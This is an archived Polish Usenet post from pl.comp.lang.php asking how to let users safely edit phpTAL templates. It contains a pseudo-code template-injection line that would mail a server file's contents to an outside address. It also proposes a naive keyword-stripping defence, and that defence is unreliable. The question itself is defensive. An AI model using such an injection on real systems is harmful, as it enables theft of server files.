๐Ÿš€ go-pugleaf

RetroBBS NetNews Server

Inspired by RockSolid Light RIP Retro Guy

Article View: pl.comp.lang.php
Article #220050

Re: Detekcja proxy

#220050
From: Koteczek
Date: Mon, 10 Aug 2009 14:21
31 lines
2166 bytes
nie w temacie ale Ty jestes guru od phpTAL.

Jesli jednak chcialbym aby end-user mogl edytowac szablony phptal, trzymane w 
bazie danych na przyklad, to co musze oczyscic by zachowac bezpieczenstwo?

Chodzi mi o przypadek gdy ktos uzywajac instrukcji php: w ramach szablonu 
phpTAL np odczyta wszystkie inne pliki na serwerze i je sobie wysle.

Cos ala (pseudo kod)

<a tal:condition="php: mail('adres@serwer.pl', filegetcontent(jakis plik))" />

Chce sie przed tym uchronic ale nadal uzywac phpTAL.

Czy wystarczy ze zanim zrobie $user_template->execute() to oczyszcze kod html 
ze wszystkich wystapien "php:" i "eval", "tal:" zamieniajac je na '' ?

W normalnym tekscie nikt nie powinien uzyc php: ani eval ani tal: , usuwac te 
znaczniki przed wykonanien szablonu bedzie zapewnialo mi bezpieczenstwo czy 
nie?

dzieki




__________ Informacja programu ESET Smart Security, wersja bazy sygnatur wirusรณw 3948 (20090319) __________

Wiadomosc zostala sprawdzona przez program ESET Smart Security.

http://www.eset.pl lub http://www.eset.com 
Technical Details
Message-ID: <h5pavs$4f3$1@nemesis.news.neostrada.pl>
Path: mbox-mo1.pugleaf.net!news-archive.icm.edu.pl!news.rmf.pl!agh.edu.pl!news.agh.edu.pl!news.onet.pl!news.nask.pl!news.nask.org.pl!newsfeed00.sul.t-online.de!newsfeed01.sul.t-online.de!t-online.de!newsfeed.neostrada.pl!atlantis.news.neostrada.pl!news.neostrada.pl!not-for-mail
References: <h5i4io$kqe$1@achot.icm.edu.pl> <op.uyba53nputk0y1@aimac.local>

Show Full Headers
Complete Article Headers
Path: mbox-mo1.pugleaf.net!news-archive.icm.edu.pl!news.rmf.pl!agh.edu.pl!news.agh.edu.pl!news.onet.pl!news.nask.pl!news.nask.org.pl!newsfeed00.sul.t-online.de!newsfeed01.sul.t-online.de!t-online.de!newsfeed.neostrada.pl!atlantis.news.neostrada.pl!news.neostrada.pl!not-for-mail
From: "Koteczek" <nie@spamowac.org>
Newsgroups: pl.comp.lang.php
Subject: Re: Detekcja proxy
Date: Mon, 10 Aug 2009 16:21:19 +0200
Organization: TP - http://www.tp.pl/
Lines: 34
Message-ID: <h5pavs$4f3$1@nemesis.news.neostrada.pl>
References: <h5i4io$kqe$1@achot.icm.edu.pl> <op.uyba53nputk0y1@aimac.local>
NNTP-Posting-Host: enw50.internetdsl.tpnet.pl
Mime-Version: 1.0
X-Trace: nemesis.news.neostrada.pl 1249914684 4579 83.15.208.50 (10 Aug 2009 14:31:24 GMT)
X-Complaints-To: usenet@news.neostrada.pl
NNTP-Posting-Date: Mon, 10 Aug 2009 14:31:24 +0000 (UTC)
X-Priority: 3
X-MSMail-Priority: Normal
X-Newsreader: Microsoft Outlook Express 6.00.2900.5512
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5579
X-EsetScannerBuild: 4637
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit